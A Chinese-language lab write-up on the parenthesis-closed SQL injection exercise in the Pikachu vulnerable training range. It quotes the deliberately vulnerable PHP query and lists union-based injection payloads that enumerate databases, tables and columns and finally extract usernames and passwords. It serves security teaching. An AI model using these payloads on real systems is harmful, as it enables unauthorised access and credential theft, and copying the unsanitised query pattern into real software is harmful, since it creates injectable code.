pikachu的XX型注入
一、实例讲解:
通过查看源码发现与搜索型类似,但是测试发现拼接闭合的语句不同,查看源码发现是括号闭合,所以可以得到payload的类型是多变的,所以原理方法与搜索型类似,通过构造payload语句来达到注入的目的。但实际渗透测试过程中不可能得到目标网站的源码,这时候就需要根据经验和多测试。比如发现一个输入框,就首先进行单双引号测试aaa” or 1=1# 或者 aaa) or 1=1#等。
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
二、实验步骤:
1、通过构造payload语句发现回显正常,说明此处我们构造的语句已经被正常的传到数据库中,并且参与了数据库的查询运算。
1') or 1=1
2、然后使用联合查询法判断字段数,将刚才构造的语句中or 1=1替换成order by 1来判断字段发现回显正常,当变成order by 3时我们发现会先报错了,说明此处字段为2。
xx') order by 1 #
xx') order by 3 #
3、通过联合查询法构造union select 1,2语句来显示字段。
xx') union select 1,2 #
4、通过联合查询法查询数据库库名。
xx') union select 1,group_concat(schema_name) from information_schema.schemata #
5、通过上一步联合查询法我们得到靶场上存在的数据库库名,接下来我们查看一下这个数据库里面存在哪些表。
xx') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
6、通过查询pikachu这个数据库发现里面有users表,然后在查看users表里面存在哪些表项。
xx') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
7、通过查询users表发现表里存在2个表项分别是username和password,最后分别查看一下这两个表项的内容得到用户名和密码。
xx') union select 1,username from users username #
xx') union select 1,password from users password #